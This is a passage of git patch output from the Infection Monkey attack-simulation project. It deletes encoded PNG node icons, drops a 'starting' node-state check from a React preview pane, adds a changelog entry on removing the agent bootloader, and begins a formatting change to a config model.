z|Isdyk>f3=IQ^Hqw`|G5JZW;eLM|aU34qPVKfvG~oF!Zh5anPnbZ`2m_)&|}FsaLC zn{EG)w#P7ZV6qBGeg2#BTZ$*mA#7ct>{AgXor0NRl3>^2X@+=54E=e{)af74jP$13 z?jzD+i4*Dr#pUb#pZ0}-a#)^M?PifympJ!iU5ArcT{eXS;imsJ1new_?Gy3M&hv3W zEa%@2S*cCP)N(oAA_OsYpjp=)TObm74{^e^=y`O_?ycQs9SmPIq+eL)tpYbsPBoluade zQIzkygvU*E`T(3vaS*v-=fN00Y@OF}3&BL@EKh33*@N5~!y#}B7p8!8rk+g=xQU@t zA_s3V)OA`t8kaUtb%=ZPjvW3wblT>Y>n64CoMm#wQH-+js`&mJ#im*V|02*DFhQm* z(+eqzPs5nGP9F}(=*K4oOfz|u4R64H(QrHF=sin%H`SEZ{`MdVin|{cMhUpD;6$4@ z(QZV4=3XDctjoP?pO#BU-JnvNA3W!32IuU2ZG{(RXFzkV*`SO;H(nYFD#_JRG|^lC zwr50ckrhcd*kg;o+tz!FOSyj`$>;@*FBMj~s`UuHbPuHkyIw2U^CiQb(aVzRa zw&*P7o-ZZNYpr0EK9j)sJSoztLzQ)T{Ubf^4<% z%-2y2;iiG196T3P`vo7@X1;B+##u!L%`R2FfuB$lowk1c%w&1vcY==bG?NNTnmVQ! z@&0_^2c_|rM#Do0AH}HduQqv8xP$zbo#a?Ak(Ma-db6*g*x;5Tv;YRlkqRu+oGakY%sQe;#!_IS{SWBwX||#6s@W2lykLtlf~_M4aIe z$NKboEE%tK+(RMw=h#3)5mmaSItaca9#Q;OMNIUFjm+XFg>}qvciCz0Lk0LF?uMBe z!<^;bSWKhhP+_C!L54( z@Wa@gj9|1$^@1pdKZ~8||>Pvt?MRDKkPGh0 z*Ovk>s*cshi4y|>Id^|&b@*t*2^fyNNR9WO0nf{Q22d9RY5R1*^zR%sL)It$D|g%| z1uNgnkZdQgD|4)5>0_C*_@)t!K@g@(VJyk78ttU21`BsEwF9lHs^N>@5B*k> z;T(GG1P5_+aSA5et3>?%IiV^5dH|cdQD|&$Su5mAGcwD7tp1gz| zxf5B_2?$TUy`*--=O@ftn;!Z7$mbp{DV}p(im5qi)r#G*6frI+eLYyF#DDIM7B9M< z^68&v(cjLp#MmYp}KIqxw zN)ROJv?!&#} z{)GL^9sTfi`@5RP-EZtj9DQhW4R_6bY1|g~G=TcVVDyemy;Qsz1CT}Rw_@W6^Sh|k z4^Jo(l*b0NK4RHkGwOK3(5bA~_IrgA?U+ny;NE9+D^1kc|C8*C<2RBo{`BRSNkPedIt%gXGYxn#^v;IZ#S> zZD&ZKFSa&F*RX%2T{?MQ`X~lD6YnYUf!KDs=@U=L)nh;RSHxjCz;KP^XR7d#(Mk@e zh}J;*y}Ef8X8VveYSA95clvp~*14>m`?0rK8!zhCjxlD8sSSL1=|8Jw=K7jJ&K{uA z(t2K;OY$Qkhm>yvz`0PAmqJrY0Xja(M;hx}N#L*i)J=wHpwO&-3l9BVb;J*`4Xp6t zD|xWWBw8%6qu|Z+-@kX4X^jairE->Ry zh^IV04V;O5ZiwTqan>X2d;e$BE>QB2!Olui1w?4hc?7TIkae{`;vd9p`4@|~sHv8} z35IDv_4j3+dvF0eL5%Y77P@4S#lZfBPCf}Cs=!7Jhs+Kzp!?;Td?PL>d{xytf{Wt~ zp$Vfb0|6j9LvpxJt7^P`TD6ao#(egU(Z}iuOrm_6D)xlpC(k_0?rJ4?{VA&H&uicX zhl&mVEn8u|9t+Nt5H7L;8U&Xy9_C+ejXS{s0Vj223yQTiGB_Z@F}~2%-Z*G}n?d6? z)ANEBPc1gQk(|_k;9g}4#`72)N=TU*Gj-4pYqB<{Fl}JjW_VqU#}FyZ7!2nZCKLV5 zDETS0>c#sW1jezS@zaWm?-4T=vfHV+hZWxK5-_p?cGo^zg8kEv1x~WP4N<}HPXLMC z945_n-I{jBN2EPVxc-wTlh=Qo81loE9pfCB&RK3-0ZSKkemKDFP*|QKHM3(M=J7Z- zD#+>AY6ctq_QYq^Egi~D`ypOr&5q~YHu&3or%(zUDH!Z%C!caxL+dr2>y6@i;6z}H zK%1NAu_!FXvQ^bBd#VJspu-H%jqrU27A~~s3s2cYSUfEdWqD7MkD_b%US?Fo z(B-Mv6i^^|wydfVmoQndO7-Nc_g75H-D>DmLMjr1G+5LFIj%-&BD~cV>4Rpnmupq< zVG>&|@u%SYg3Eu1WDrP<3fq?qx!tx7e!1LD)*GvU@Vmpq-fadeF|gvNjMyP6%f#HI zvPYl-?m@+$Xq|e;QZE*;-3s@QQO&&y9SCx_yzn@2=3K7)L=^ubI3SaIC%rn+i`Dmz zN?(_ZXcD){@4gWbip>aTk9sUBLeI2+#!7(}m0B??)74pG;o1%E^h9`P*R@K%npB529Z+PaH4~YOGHBStNrzbH9s4A$P52`AnXuwod!X zcLv!u3oX-lY#OXazPd&m$~A02{B^2bNZa3dmTy;mBlC*_(Yrz1s#|gc;eIW4gMHjH zWBFoXG>!$6kh(@!hw_Vd)r>^33jpR-Q`l&di@~HNgi6JYfbsjQh<=t1ZkqSsC43Y0 zZaYfBRuC2UG{fZ1Wcy#Ke!YxgXmX`NojfCRx12h{oE5WXhFGYv+t%YW<0H<+KI~;a zy@N^q+`saR+4h|zyX4!HKR!2-SyJ)m=lB{dT}r9F_C(Y&RP_lRf1My9|5oDljo^4* zgVl!hZm?>C<#MuLRg6FeuWk}J!nO)_CVcrR$fA@boxDf&dA5p3L{=zE00CF=^H;+X zGz$iwx0#K1u1i+#w<~Au1ukkw+TM;OZ#(HNioZYjg*z+K+8J=dvttOQd@L`l()v0s zMevFQoD7o9@hhIAlt&(4su#H_x2Usl=mQtCT-sb02IsIPMIS?+2FXV7q(k7*l}k{x z%qHFHtwTzSJZ47Nxev7)IfV28Lrn9dK#SnDc)O0Hta%UeO8^~NVsOTtJ{dXojB`qC}quhFlR*H$Jqdo(|+MD2-($qoy}1{0^R_K>)PR{u(X90|8G0 z^kWKN;sB62Gxdw>md=2s?xSxQgmI@X7(YOYuDKSWvLmm66@=eHtp1|T=4CjjBM0`; zZ)mdjDU%>BjQXJ16Kp{6%Zj-6lWFSFoO4|cd}Ha(CpLqaRySrM>-RgCi@?3ji{13& zyp#81u|TZd>}#gdSqyOnCoTK9<$mruw0YN`&8_IG-&fjiUbKhzWL7|tK!Z197#B*% zgzMnPgd;}y+@v;-mi<5f_!uk?Z-XqJQ73!E_WD{5%RV~;Sk}j+%`DAs-HA&S*e16y zSB{$qkJ`Q0Y_RGGS1>tv*y51=!YW{fo;cL?c<|vjAGL*-h!-14w!o!@ZA}lh@MYK? z#zwoJg2~&DG-ZYM47@n~8N>HW)>%M0;6Es#d{MAdx$Yuu`ul=clyAb=hbIow2C0VF zDs6gZ8c|-Q10zzgRRCOBslzJ68HKNS3wDRr!|H_1_uHyaV153zt?jl^ISquR83z+N244DL{Z`LC2fy7bMAK*Ih* zGk{`vw*O#`tIc}7e=&y{oR)ZXcf~)hTFL))19_(X%RjDMkcs~RBUi0$$-iLa-){u| zUn?s{EaYk`XntiKoOWdgrvf=rZ?#1N zU%|q%i5TbC1<{8z9AHG|BRZKMy3MngFmXa|s+E~Hx9h(H`D@w!#oL8h)D6EP2pMdl z)-ONp@35;g^5xEZRf3f!D~qIn@exLaLN1;U)o;S;l=(hFS%`7#Mdkz=v7*Q6iA_t1 y4d#4l2}#YVFK=tT5E<14m!yJKF8^Mf-MO5JxEQ|l=(wV00DWx}t!jkR)BgcuzZ7}^ diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/manual_linux_starting.png deleted file mode 100644 index 882acae59ba26f208982c988d7eea653d9dbf423..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4186 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 btl;;4zxnv$OdN)_c(9patc=Rhm%;x4^zr9k diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_linux_starting.png deleted file mode 100644 index 1991dd9b0f7158c16b8ec384c2134fa4c45d27fb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2591 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 diff --git a/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png b/monkey/monkey_island/cc/ui/src/images/nodes/monkey_windows_starting.png deleted file mode 100644 index 0cea18d57ff761c834b417a789493f1e6efb8d56..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 3210 zcmb`KX*3jU8^=cmL(~}CgJO)GC`$^7F=P}oV@9N2p*MSECuJ~W2{9how;3c$NXEWb zLS^5{zRj2vvSokgIq#?UocCiNu5(@g|GCe(?)y6DI_GysVNgaqTq0Zm0D#9BX@CU) zSSZX00I@P1>F_CeX8H?bVs2>UVKP2GesXdW92~5srp7Fezo=2E)JMWQpO|M@eXuAT zU=w#G-0vq-a(W=Gya9kaN&f`PxZ9OM0Dzm**Z^)GkohC4KRHhU4B(jh*U1TK&Da5> zr$;f<#`^Bq$(ote4}?7bjq6ZP69QctG#CEG6+al|ea@~xl3izF<&BewPNrkuyIjej zo}8Cr12pw|DYGt8C_5~4)mCnu+O?_cv4Qd{H?%Z}?p z*&h5>Aw|WW$&`X*R-k@slDaWZr6b8|S@sjd3Gpl0G#_*I$N3n z&+aMSxwWRcyet<&pQNNjVKZ-qc7(vzZn%L^Q2-3d3BsNsBod)ZP^9J`C|zg?NxHm4 zAu3-hx;7`9W;FC_N(S#?5Qv zZY}V>rz{`r@$r=Hr}o#zW4A!6UmF*NJTk>)=%iZNgEB$*^2PmI?{Dn%MuPSw*B{zg zz?`gzNf$kzlu>j`WDjc2z}urNnvrUqUJqUE-y-@}BNS)AX>%hnifid)na+SYEje#7 zA9%|Rv~^t55Gb&8jU-J^iN;N7z?YkFW4AM?gb&suCvkFgk{3FO?VbQ$`{h?C-^|jd z^nCkl2G`_+d1skzUf}r3snr;J z-^?iyc!OQmcEL2=@y*iw609&?T7+n!TLfXqs7%E2R$8ib+%K802`gu#Mj|juc2YBl zA=4w)-i@B}BXdx({l$MLFQRh+#kCGy%BhZevN`9SoB8d~B~H-w%c z9?b9MrBuTMRk<_q;J3lXXVJdbv1#H!>A$l8Y=Ju*bA+r^e8hu6KCUCEoN3D$ zgaM{V9GLH%{)JEcT=cm-pONQNVsP!dhlk1Up6X~JP=2{ukPXfVB~y&cXxq8Egt$`# zEZ-}JYi%1_eeeobQ7f3K$AHp5*z(U1C*l$;W~y)r;4>_ z>c^YzK5*33W;4sPsF`J)-Uw+Bv}dG=%6ZS`*0Q=DF?bV>iZD8sZd*ahlV{nQwt+8%Sjj~lGf!?0*neDLh= zMjOJzy^Y!h9}>;`3*r{joj0gQSHX!6WdfBAq;G3QqvtZX6(|}+6Df2iAEh|?1yfb< zM7!a~-lO2`0+&XEjygSjsp5g2hEjKT+n)4UWQ_k%)Ee`im*EF4UHW^yXXWOafQZ5l zHSAl7_VUpSWjR$rM^%C3L5bggO>o|Vm=j-oN`ky_=;hee*^f{_g^chBcbDbu1jf4- z&I9G1q<&13%sXA&oGUVQT+Z4dFzn|-lQQ5w?_ZAN(9FI}pfId-v=MBwdfj+%qI%-b zD;M)c%Pw6+-MEHdfvLrG3a;APIXJVuE68zhDO-O=f1aBC;Q$TZ>X^nTU$#IP;(KZv z?9^c@T_e`FOebOCF)3|r=+CovS3rJ|+N;V|5_%Wi6_4xEwrW?%DTiF$??>j8iu02) z;qmlh)Q`~OwO`p^Ap3JeReLa(l(tGjyL;Gup&L0~`Me@I_)VeHMI{R(`9WpBAKhG0 z4}KS4KU`L=29mFklz=owFy~4dZML$mivEjZWl6=oH`@~b*>!V0?P_Tah>JV6V zr%nJ};o2BFuW1kwco;(&C?L0eQQBQF_ag2r`4RKI1CCIKAqCPGY8cL0FLBu2VQ5R} zM~?Cs@%75QcG6=fq@mGViE{a<+G=jZ_02?d6!GpE{KmYjNBEFV+|>tk_gAn3{9*D& zc1cd4?gY0pWYJ>J2o3X_G1ZN#J)A}gn-Jc^1atUl^bHE;p$ z(SCj(rmjb{|HvjU6wF;Y*g#vY8OA~{PU9OOqq8-Zc6x?>>hc4y&a*XSu=kFH`>er&p!rj9dXPZDvpV0uyZt zoAmqM_(F`<#?9{**2UqIC>n)U%xLz{}gj-5JB{WQK!+tl@q6!hA2TmYz|| z$5qs@GJ&B41NZQwBU?Tf%Y8+h2 zz5WRKntha15zgwrppKY#Af1vIa~F(dbU2xkZ8B-u@}LnOllr6Di1w1j2c)RMPn$At zhrt;vg|Rs}y6DL1Oe2)Uw!oxrO#%*F9}vY6ehnIPsvfC7D)EH=PN01vSNC6KZ^G1LoGY?nW$$YVQiF&;|h ziZ-Kmw44xdE!Hof^`%$y9Ivy(tVmoWcX4Egk4q%SlnbpYJjBS*H7v5!wPP=-nTj+P z>5e(6Yv1PkYv6MqzPYt;7Jul6lwhsV6&#LO-^{B^7i|utnkWbe4>%&ou&pqYK&dq2 fs4Oy>e8Mu`u>J5cJLdrNrvNZEL>ZLn+Y Date: Tue, 1 Feb 2022 13:28:13 +0200 Subject: [PATCH 0287/1110] Island, UI: remove starting node states Since bootloader is gone, nothing sets the state of the node to "starting" --- .../cc/ui/src/components/map/preview-pane/PreviewPane.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 7e13b30d3..1007e2061 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -228,7 +228,7 @@ class PreviewPaneComponent extends AuthComponent { info = this.scanInfo(this.props.item); break; case 'node': - if (this.props.item.group.includes('monkey') && this.props.item.group.includes('starting')) { + if (this.props.item.group.includes('monkey')) { info = this.assetInfo(this.props.item); } else if (this.props.item.group.includes('monkey', 'manual')) { info = this.infectedAssetInfo(this.props.item) From e224470161c9980c2ce0181e0966dbbe277da949 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 1 Feb 2022 15:40:48 +0100 Subject: [PATCH 0288/1110] Changelog: Add entry for removal of agent's bootloader --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 054e7b749..7792d1b12 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -41,6 +41,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Max victims to find/exploit, TCP scan interval and TCP scan get banner internal options. #1597 - MySQL fingerprinter. #1648 - MS08-067 (Conficker) exploiter. #1677 +- Agent bootloader. #1676 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From 28d03339bf4326c1bcd40f4706593d9f1ea00ea7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 1 Feb 2022 17:18:16 +0100 Subject: [PATCH 0289/1110] Island: Small formatting change in config model --- monkey/monkey_island/cc/models/config.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/models/config.py b/monkey/monkey_island/cc/models/config.py index 